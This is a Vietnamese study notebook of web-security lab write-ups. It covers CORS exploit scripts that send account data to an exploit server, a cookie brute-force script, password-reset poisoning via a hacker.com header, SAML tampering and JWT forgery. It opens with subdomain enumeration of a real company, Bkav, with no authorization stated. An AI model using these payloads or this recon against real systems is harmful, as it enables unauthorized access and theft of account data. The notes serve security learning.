{%hackmd @themes/dracula %} > # Web vui vẻ ###### tags: `WEB` `exploit` ## Recon **Target: Bkav** whatweb: IP : 123.30.245.55 censys: Port 80, 443 language: Java? subdomain: ``` $gobuster dns -d bkav.com.vn -w ~/Desktop/subdomain.txt =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Domain: bkav.com.vn [+] Threads: 10 [+] Timeout: 1s [+] Wordlist: /home/nhat1/Desktop/subdomain.txt =============================================================== 2023/05/15 16:35:12 Starting gobuster =============================================================== Found: ftp.bkav.com.vn // Found: mail.bkav.com.vn Found: smtp.bkav.com.vn Found: www.bkav.com.vn Found: ns1.bkav.com.vn Found: ns2.bkav.com.vn Found: www2.bkav.com.vn Found: mobile.bkav.com.vn Found: beta.bkav.com.vn Found: support.bkav.com.vn Found: www1.bkav.com.vn Found: chat.bkav.com.vn Found: download.bkav.com.vn Found: www.beta.bkav.com.vn Found: www.mobile.bkav.com.vn Found: update.bkav.com.vn Found: w3.bkav.com.vn Found: MAIL.bkav.com.vn Found: analytics.bkav.com.vn Found: se.bkav.com.vn Found: WWW.bkav.com.vn Found: NS1.bkav.com.vn Found: sample.bkav.com.vn Found: NS2.bkav.com.vn Found: setup.bkav.com.vn Found: rdns2.bkav.com.vn Found: update2.bkav.com.vn Found: daily.bkav.com.vn Found: rdns1.bkav.com.vn Found: south.bkav.com.vn Found: north.bkav.com.vn Found: mail.bkav.com.vn Found: forum5.bkav.com.vn =============================================================== 2023/05/15 16:38:16 Finished ``` Google Dorking: ...... --- ## Lesson 3 client-side render: lỗi API server-side rendeR: lỗi server HTTP 1.1 3 tài nguyên => 3 connection HTTP 2 : 1 connectiion Basic internet Security controls cookie token based the same-origin policy **bypass cors:** * cors misconfigure * postMessage() * Json padding * bypass SOP using xss lab portswigger: **CORS:** 1. lab 1: đầu tiên đăng nhập acc, set Origin header và send thử thì trang accept mọi origin. Code exploit: ``` <script> var xhr= new XMLHttpRequest(); var url = "https://0aeb005c03d8079a82ad246a000900c0.web-security-academy.net" xhr.onreadystatechange = function(){ if (xhr.readyState==XMLHttpRequest.DONE){ fetch("/log?key="+xhr.responseText) } } xhr.open('GET', url+"/accountDetails", true); xhr.withCredentials = true; xhr.send(null) </script> ``` Result ![](https://hackmd.io/_uploads/S1wZlGmr2.png) 2. CORS 2: ``` <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a2700f00430812b84f8fb12006f00c2.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='https://exploit-0a8e008104b081098484fa93018a002f.exploit-server.net/t/log?key='+this.responseText; }; </script>"></iframe> ``` ![](https://hackmd.io/_uploads/Bkz_ymmBn.png) ## Authentication bruteforce logic code single sign one cookie sharing: - subdomain takeover: ladipage. amazonaws.com saml oauth ### Lab #### PortSwigger 1. Password reset broken logic **Info:** Your credentials: wiener:peter Victim's username: carlos ![](https://hackmd.io/_uploads/SJiwDZiHh.png) forgot password và nhập usẻr của mình. nhận email có link để reset vào link thì chuyển sang trang nhập pass mới. submit thì sẽ gửi request như sau ![](https://hackmd.io/_uploads/r1tFdbjrh.png) Sửa username thành `carlos` và send thử. thì đổi dc. xong 2. Brute-forcing a stay logged in cookie **Info:** Your credentials: wiener:peter Victim's username: carlos 1 list password. test thửu nhập sai password của 1 user k có trong hệ thống. ví dụ `a:a` thì k giới hạn. TUy nhiên với user có sẵn (wiener:peter) thì sau 3 lần thì lần t4 sẽ bị `try again 1 min` Bình thường có 1 cookie tuy nhiên khi chọn stay login thì có thêm 1 cookie nữa. ![](https://hackmd.io/_uploads/S1rj95jSn.png) `stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw` decode base64 giá trị của `stay-logged-in` ta được: `wiener:51dc30ddc473d43a6011e9ebba6ca770` => là giá trị base64 của chuỗi `username:MD5` . Sau khi test thì MD5 này là giá trị md5 của password `peter` ![](https://hackmd.io/_uploads/Skwoo5iB2.png) đặc biệt là sau khi logout acc hoặc 1 cửa sổ khác, chỉ cần nhập lại giá trị của cookie là đăng nhập dc. còn cái cookie session thì chả có tác dụng j thì pải vì load trang nào thì nó lại set lại cái cookie mới. chả hiểu ¯\\_(ツ)_/¯ Ngoài ra thì việc thay đổi giá trị của cookie cũng k bị giới hạn lần thử => có thể brute-force. Solve: ``` import requests import base64 import hashlib url='https://0a9b0054032d7d9e82dd3ddc001f0013.web-security-academy.net/my-account?id=carlos' with open('password.txt','r') as file: for line in file: password=line.strip() md5_pass=hashlib.md5(password.encode()).hexdigest() cookie_stay=base64.b64encode(("carlos:"+md5_pass).encode()).decode() cookies={'stay-logged-in':cookie_stay} r=requests.get(url, cookies=cookies) print(password+": "+str(len(r.content))) ``` ![](https://hackmd.io/_uploads/BJ5A_oiH2.png) Có thể thấy pass là `654321` ![](https://hackmd.io/_uploads/SkWQYssHn.png) 3. Password reset poisoning via middleware ![](https://hackmd.io/_uploads/Hkz2YniB2.png) Bài này là URL reset. logic reset: Reset password => POST /forgot-password với username=xyz => gửi url với token về mail dạng /forgot-password?temp-forgot-password-token=sWqo6mCkAbyzrg4C4MP89vTiakFPCuaN => click url này để chuyển sang trang nhập pass mới. Solve: Sử dụng extension `Param Miner` => X-Forwarded-Host (trường này thể hiện original host). thêm `X-Forwarded-Host: hacker.com` vào request `POST /forgot-password và với username=carlos`. Đoạn này sẽ chuyển tới /forgot-password?temp-forgot-password-token=sWqo6mCkAbyzrg4C4MP89vTiakFPCuaN nhưng với Host là hacker.com (original host) => ghi lại log. (cái k hiểu là tại s nó lại gửi request này, vì theo lí thuyết sau khi gửi POST /forgot-password thì chỉ gen ra url /temp-forgot-password-token và đính kèm mail thôi chứ k truy cập. nên k hiểu lắm. ![](https://hackmd.io/_uploads/ryjtOnsHn.png) ![](https://hackmd.io/_uploads/H1Hqu2jSn.png) #### Pentested Lab 1. SAML: Introduction - exploitation of an insecure SAML implementation - tampering with the SAMLResponse **SAML 101** ![](https://hackmd.io/_uploads/SJ5RkShrn.png) - Security Assertion Markup Language - SSO giữa 1 hoặc nhiều SP với 1 IdP - Flow: browser truy cập dịch vụ => SP gửi SAML Request về browser => browser chuyển request tới IdP => IdP trả về SAML Response tới browser => browser gửi SAMLResponse tới SP => đăng nhập - SP trust IdP bởi certificate (chứa public key). nếu SAML Response được kí bởi privatekey trùng với public key trong cert thì SP sẽ tin assertion Solve: Khi thực hiện đăng nhập, trình duyệt sẽ gửi các request sau: ![](https://hackmd.io/_uploads/HySHfKnrh.png) đầu tiên là gửi request tới `/saml/init` của server SP (ptl...) ![](https://hackmd.io/_uploads/BJMc7Knrh.png) sau đó server trả về phản hồi 302 (redirect) tới `/saml/auth` IdP (idp...) với tham số `SAMLRequest` và Idp trả về giá trị của `SAMLResponse` trong body. ![](https://hackmd.io/_uploads/ByaCQK2Hn.png) Cuối cùng browser gửi POST request tới `/saml/consume` của SP với data là SAMLResponse đã nhận và hoàn tất quá trình. ![](https://hackmd.io/_uploads/SJJZEthr2.png) Như đã nói ở trên phần giới thiệu thì bài này sẽ tập trung vào sửa `SAMLResponse`. Trong trường hợp nì thì `SAMLResponse` được gửi mã hóa URL và Base64. decode thì được: ``` <samlp:Response ID="_1c68e9e0-dcd2-013b-9ac7-0242ac100008" Version="2.0" IssueInstant="2023-05-25T02:31:00Z" Destination="http://ptl-99c31be2-76ee0c34.libcurl.so:80/saml/consume" Consent="urn:oasis:names:tc:SAML:2.0:consent:unspecified" InResponseTo="_ae20d721-9451-4663-9a4c-b9b02c14a8a8" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"><Issuer xmlns="urn:oasis:names:tc:SAML:2.0:assertion">http://idp-ptl-99c31be2-76ee0c34.libcurl.so/saml/auth</Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><Assertion xmlns="urn:oasis:names:tc:SAML:2.0:assertion" ID="_1c68eb80-dcd2-013b-9ac7-0242ac100008" IssueInstant="2023-05-25T02:31:00Z" Version="2.0"><Issuer>http://idp-ptl-99c31be2-76ee0c34.libcurl.so/saml/auth</Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></ds:CanonicalizationMethod><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"></ds:SignatureMethod><ds:Reference URI="#_1c68eb80-dcd2-013b-9ac7-0242ac100008"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"></ds:Transform><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></ds:DigestMethod><ds:DigestValue>e5+5w1ZLEstCNU6VVXjhZrpOnpmxyfl0aThuOe9Ty0A=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>NsWgYP82Ug6DgVUh4JO5eaRo/VSFQyc/sxebhRhixobvUjQerqwHuQlJuTZiLZRSQMy9GV5N+7UMbiKOXNIxqGdYYtXfaCjPnImAGXsn/NxLO9aGC5layB1i2NDh1H+ZWRksWCKxXIQzf0duhKaa/ZFiWr8ETKDjQ7D6cBKD9ZtND71LnfSDPApj6w7dHpcn+9n6TEL8Tx/MZEvm3tUvdJZ4TAB5wBFs80xuhEcDC5aIrTc6ZgKqrEFPQglf9iVxngwcwaSzlwmKxBEgAaxlN+pOmOd2lHSJULcx7svWZZzAIkRRThDP2SlO+47vxitifli7GaMdPAqslqcSgQe6k4KMyYurIYUwGxRy9iiBrBG71Jzx5H4CZCXBpbcqOq/xNT9FQTkhFsVbhjBMAT2BTu1WdBTCO5/v1Qvn27qo3Yx200tCeDzwl+5Zhj1NPVdpXqHXTA8cLZOUNddJq8tESOb7tquG3Iuf1GohmUaGacIgaPRVtXmx6sWsKQWXzlmHbqGWepsO7uUia74R2xqX2ttRB4yvlEZKG5vbvgrm1ZAA3WNcwXSC7tYDPccQ/Oo6eeMiGb/OvJBzHpzgI3P0AvRQrHra2gY0WlTRSwA9wRuE70au0o5aA0lbH4gjgPpxCZGrCEibM/QrWZfsOu1qjLABZXh+ZyvYbNjxw43uHyk=</ds:SignatureValue><KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#"><ds:X509Data><ds:X509Certificate>MIIFMDCCAxgCCQCNBmsdq4BmuDANBgkqhkiG9w0BAQsFADBaMQswCQYDVQQGEwJBVTERMA8GA1UECAwIVmljdG9yaWExEjAQBgNVBAcMCU1lbGJvdXJuZTEVMBMGA1UECgwMUGVudGVzdGVyTGFiMQ0wCwYDVQQDDARzYW1sMB4XDTIwMDYwNDAwNTEzNVoXDTIzMDMwMTAwNTEzNVowWjELMAkGA1UEBhMCQVUxETAPBgNVBAgMCFZpY3RvcmlhMRIwEAYDVQQHDAlNZWxib3VybmUxFTATBgNVBAoMDFBlbnRlc3RlckxhYjENMAsGA1UEAwwEc2FtbDCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMvA9nmg4T90B8Y1irixSsRPJDx0E93qLaJrx6gMnRqMuY/7SVLgjS7+k9ON1DAH5f4ChB6DE9ib/arQcTE39BgvYc9+7W2rV+IwkIdqGSS+Xw8SDB9zgiqtQOQ1WWu5hn/TkFBLGLq3XoEWDXbyRs1y20N65K65vTK0vm9jfWr4tZSDJ8bK0RpAJaV5jJIypTWsyE6p4Zpl0B6qsCxMV2E4DM0yEaxJaNf4iN0ft6E/Qp2sYC8tWYZkFZBWpftevauoZkvQQkrdNYvQu5TvMuqjDnBRUSKgl2AKD8XeQMXpz44LbRD3Jt1oj+85HxogYF0dMRhEkMmgSkIfivVGsijoLNFkDMV8wFkMVzh7qCeSCtEWM7m/ehunn21dNiGiu88K5CMs1Jglwsqgq0CbmiZQ7WiY9wR+S8ite+xC7k1MS0uip4Hlqlz6TzA7RPML7QwYufGCnXJGYCnMcI/rSG+Tqs9nGsd6nqda74TDzktpAUopBIFmKXr5mANCuYMvNTfjZ78XXoY1dHkLAs+ZyJP1EM4/ZUeEX4oviiAdpEkidt7IRNRL9SxNZ3lm3RnClWOV7dRXdxRr4zHtD9ZFXFWEDziwYPLuo5tPkyV8CL3MUjibQbJxjKewdkFecWjhdRl6g3biCXt9mPrnjexBWdzZTW0wrXnnma46wnj27nkbAgMBAAEwDQYJKoZIhvcNAQELBQADggIBALdAeBG3V5KCvfrg5bQIQ2jp8RYUNCi1Fq1dVBoOXxzfsxqy6+xQmBrApjLxaDaZDNqiyEluvgA3pTAI8QRC6DGMXilZ/zxmVAQO3n730UNM2Pm7BYf+yj9ZlObY+M2CJl2AJRWi8NBzCmL+1/cETQIkvYNZ79jNNWYBKXRiHlxwgD5QKEW+Yzj8ye3H+qPsxQgfERWlFLFoAj7Cu80DJnZyW57JwBPxMqboe15hDZtSR19px+VLEFzo8RGBGh0XfrpN6vDs8GHLGGUY3blsFtvboK0bfU03f8uScNX7b8rfZ51DgcWWaM7S5gEf2wKmvNpH6fMKVWOBnUaGbgTJRMtT3kmnD61WPUWvNWzn51AGs7Ah/RvmYLIfm5hjzgJRdx09x78fNTczvNW06NvLFGnJi8GUU5G22NK4ouoy3gIBZHGWYmSOGzej6B6XWpq1iiUapCPYzglNSVx73JpR9qRCDjeGhVhhcjfFP5xWXs1+3WOR6VD4ocakHhOXkPTJL3VNlwuQwPqYdZHbjYi+W4rjWwSxoi7KBwgjFvWgc5uW2GCl50wc00ATst9IQYNCQcGZvXzauCCBY5VAwn7MzRmKZJTmcd1ju122wZ6rsjKL3T7ZCe5AXRKzhJqdRS8yJGapTYpPhqRcsQYKkOMuFeOZ4RmjsVuW5Oi1iMGYZkLv</ds:X509Certificate></ds:X509Data></KeyInfo></ds:Signature><Subject><NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:persistent">hello@baby.com</NameID><SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><SubjectConfirmationData InResponseTo="_ae20d721-9451-4663-9a4c-b9b02c14a8a8" NotOnOrAfter="2023-05-25T02:34:00Z" Recipient="http://ptl-99c31be2-76ee0c34.libcurl.so:80/saml/consume"></SubjectConfirmationData></SubjectConfirmation></Subject><Conditions NotBefore="2023-05-25T02:30:55Z" NotOnOrAfter="2023-05-25T03:31:00Z"><AudienceRestriction><Audience>http://ptl-99c31be2-76ee0c34.libcurl.so:80/saml/auth</Audience></AudienceRestriction></Conditions><AuthnStatement AuthnInstant="2023-05-25T02:31:00Z" SessionIndex="_1c68eb80-dcd2-013b-9ac7-0242ac100008"><AuthnContext><AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</AuthnContextClassRef></AuthnContext></AuthnStatement></Assertion></samlp:Response> ``` Intercept request POST /saml/consume và sửa giá trị của thẻ `NameID` thành email của mục tiêu, save và Forward ![](https://hackmd.io/_uploads/r1ceLt2S3.png) 2. SAML II Tương tự bài trên chỉ xóa đi giá trị thẻ `SignatureValue` ![](https://hackmd.io/_uploads/Hynr8thS2.png) KQ: ![](https://hackmd.io/_uploads/SJt8ItnBn.png) ### OAuth cac loi lien quan den ## JWT ### Format header.payload.signature ### JWT Signature: use a secret signing key. ### JWT vs JWS vs JWE ### exploit: server doesn't know anything about the original content of token ### LAB #### accepting arbitrary signatures JWT co 2 method: verify() and decode(). not using decode() - Lab: unverified signature Log in voi wiener ![](https://hackmd.io/_uploads/r1NSjwrw2.png) Cookie voi JWT token: ![](https://hackmd.io/_uploads/BJxnswSPn.png) ![](https://hackmd.io/_uploads/BJNFpPBwh.png) ![](https://hackmd.io/_uploads/H1r5g_Bv3.png) ![](https://hackmd.io/_uploads/Bk5ugdSvh.png) ![](https://hackmd.io/_uploads/BkcPbOrPh.png) modify user to administrator #### accept token with no signature `alg` dc set thành `none`. thường server sẽ k chấp nhận none. tuy nhiên có 1 số cách bypass như viết hoa,... Note: kể cả khi k có signature thì jwt vẫn pải kết thúc bằng dấu `.` Lab: JWT authentication bypass via flawed signature verification solve #### Brute-forcing secret keys crack secret key using `hashcat` LAB: ![](https://hackmd.io/_uploads/ryH7ktLu2.png) cookie cuar wiener: session=eyJraWQiOiI4NzdhNTliYy1jZWM0LTQwMWEtYmFlZS01MDIxMDMxMmFkNjkiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc1MTk0Nn0.2Q_oFHob4HKTsAb3Lr5jodapXytYxcG4XmV4C5X6cM8 check trên jwt.io ![](https://hackmd.io/_uploads/H1fdkKLuh.png) command: `hashcat -a 0 -m 16500 <jwt> <wordlist>` https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list KQ: ![](https://hackmd.io/_uploads/r14fLY8O2.png) `secret1` lụm! có được secret key, ta thực hiện gen jwt theo í muốn. modify user thành `administrator`. ![](https://hackmd.io/_uploads/SJHFIYIO3.png) thay giá trị này vào cookie session. và truy cập vào endpoint `/my-account`. ok lụm: ![](https://hackmd.io/_uploads/B1NLqY8Oh.png) Truy cập endpoint `/admin` và xóa user. ### JWT header parameter injections Theo JWS, header là bắt buộc, tuy nhiên JWT header chứa nhiều tham số. `alg` là 1 trong những tham số hay bị khai thác. ngoài ra còn có - jwk (JSON Web Key) - jku (JSON Web Key Set URL) - kid (Key ID) #### Injecting self-signed JWTs via the jwk parameter `JWK là format chuẩn cho việc biểu diễn các key dưới dạng JSON object.` ``` { "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG", "typ": "JWT", "alg": "RS256", "jwk": { "kty": "RSA", "e": "AQAB", "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG", "n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m" } } ``` Nói qua chút về mã hóa đối xứng (symmetric) và bất đối xứng (asymmetric)\ JWT có thể được kí bằng việc sử dụng nhiều loại mã hóa khác nhau. Ví dụ HS256 (HMAC+SHA-256) sử dụng "symmetric" key. Có nghĩa là server chỉ sử dụng 1 key để kí và xác thực token. key này phải được giữ bí mật (như password). ![](https://hackmd.io/_uploads/SkIp75Ud2.png) thuật toán khác, như RS256 (RSA +SHA256) sử dụng cặp khóa bất đối xứng (asymmetric) bao gồm: 1 private key mà server sử dụng để kí token và 1 public key được sử dụng để xác thực signature. ![](https://hackmd.io/_uploads/SkI_V9U_h.png) private key pải giữ bí mật nhưng public key có thể chia sẻ cho mọi người. thông thường, seerver nên chỉ sử dụng 1 whitelist giới hạn các public keys để xác thực JWT signature. Tuy nhiên, 1 số misconfigured server thỉnh thoảng sử dụng bất kì key mà được nhúng trong tham số jwk. Bạn có thể khai thác hành vi này bằng cách kí 1 JWT được sửa đổi sử dụng RSA private key của bạn, sau đó nhúng public key trùng vào trong jwk. **Tóm lại:** *để exploit cái vul này, server cần xác thực JWT thông qua public key trong trường `jwk`. ta sẽ tạo ra 1 cặp khóa mới và thay giá trị pub vào trong tham số `jwk` và kí bằng privatekey của mình. LAB: JWT authentication bypass via jwk header injection* check jwt: ![](https://hackmd.io/_uploads/HJxfl38u2.png) ok bài này có vẻ là pải add thêm field `jwk` trong header. Lưu ý là trong field `jwk` có `kid`. `kid` này phải same với `kid` ở ngoài. Dùng extension của Burp để gen RSA key. ![](https://hackmd.io/_uploads/HkwdGnUOh.png) DÙng Burp intercept request, sửa endpoint trỏ đến `/admin` hoặc `/my-account`. chuyển sang tab `JSON Web Token`,sửa `peter` thành `administrator`, chọn `Attack` + `Emmbedded JWK`. Sau đó sửa `peter` thành `administrator`. Quay lại cửa sổ `Proxy` rồi forward. (**Lưu ý: pải sửa giá trị của user trước khi add key**). ![](https://hackmd.io/_uploads/S1paf28O3.png) ![](https://hackmd.io/_uploads/HJIGB2Uu2.png) ![](https://hackmd.io/_uploads/r1kOrnUO3.png) ![](https://hackmd.io/_uploads/Bk0hS28On.png) Lưu ý: Vì có vẻ jwt sẽ reset mỗi khi response trả về. nên nên trỏ thẳng vào endpoint `/admin/delete?username=carlos` để solve lab cho nhanh. #### Injecting self-signed JWTs via the jku parameter Thay vì nhúng public key trực tiếp sử dụng `jwk`, nhiều server cho phép bạn sử dụng `jku` (JWK Set URL) để tham chiếu đến bộ JWK có chứa khóa. JWK là 1 JSON object chưa 1 mảng JWK đại diện cho các khóa khác nhau. Ví dụ: ``` { "keys": [ { "kty": "RSA", "e": "AQAB", "kid": "75d0ef47-af89-47a9-9061-7c02a610d5ab", "n": "o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ" }, { "kty": "RSA", "e": "AQAB", "kid": "d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA", "n": "fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw" } ] } ``` các bộ JWK đôi khi được hiển thị qua endpoint: `/.well-known/jwks.json` **Tóm lại:** `jku` là 1 tham số trong header của jwt. giá trị của `jku` là 1 URL. URL này lưu 1 hoặc 1 tập các JWK. lỗi này có thể bị khai thác khi server không thực hiện lọc giá trị đầu vào của trường `jku` này. Thay vì là 1 domain hợp lệ thì lại là domain của attacker. lúc này thì k khác gì việc khai thác qua jwk ở trên. ![](https://hackmd.io/_uploads/ryrckaUOn.png) LAB: JWT authentication bypass via jku header injection mình cần tạo 1 trang chứa các jwk. đầu tiên gen jwk bằng tool `JWT Editor Keys` trên Burp. ![](https://hackmd.io/_uploads/SJbwlaUO2.png) Sau đó thì qua exploit server. giờ ta cần tạo 1 bộ chứa khóa JWK. thì cái format của 1 cái bộ nó là cái ví dụ ở trên. nhưu này: ``` { "keys": [ { "kty": "RSA", "e": "AQAB", "kid": "75d0ef47-af89-47a9-9061-7c02a610d5ab", "n": "o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ" } ] } ``` ở đây mình chỉ cần 1 JWK mà thôi. giờ lấy các giá trị trong RSA key vừa gen ra lắp vào. như này: ``` { "keys": [ { "kty": "RSA", "e": "AQAB", "kid": "b547e9bd-6e34-4194-8119-7d8f19ef4568", "n": "rIf54HxkVM49jWpKrn7ORmvM_D4ytTQNugvBFWo6x8l9FQ96HFMXw3teWllOjAWAebcJyoseZID31V-PzELjSZ2UOa5tfdmMVrHvXIfG1LcDbmlRSx7rG7WZ7e66lSGx-KmtyGh5jm1ML3dRumv8AT7_tReIVoJxVkWf8-F7VVTdJga4ZW-_sxzDzCCH3NO0pGMArB8Oqxt3AYkaWEHpRHVb0uvKiq81A4p48zGnAYkBIYsKqEc8mCyUpE7n4xlIxG7q-5ex7hDEzrlSAd_vyS2htv0r6a2EuxkySrG7skwbdo9LxapPZAns9iW4TqTNxaqQFmKveOhNRXnXtNvCOQ" } ] } ``` Store lại và check nội dung của url chúng ta ![](https://hackmd.io/_uploads/BJ7LbpLu3.png) Giờ thì intercept request để lấy jwt. vẫn sửa field `sub` trước khi modify các phần khác. sửa `kid` giống với JWK của mình. Sau đó chọn `Sign` và nhớ tick vào `Dont modify header`. ![](https://hackmd.io/_uploads/SkAVQp8dn.png) Done! ![](https://hackmd.io/_uploads/SkDP7aLd3.png) #### Injecting self-signed JWTs via the kid parameter Bài này làm xong nhưng khum hiểu cho lắm # Lời kết: chưa học xong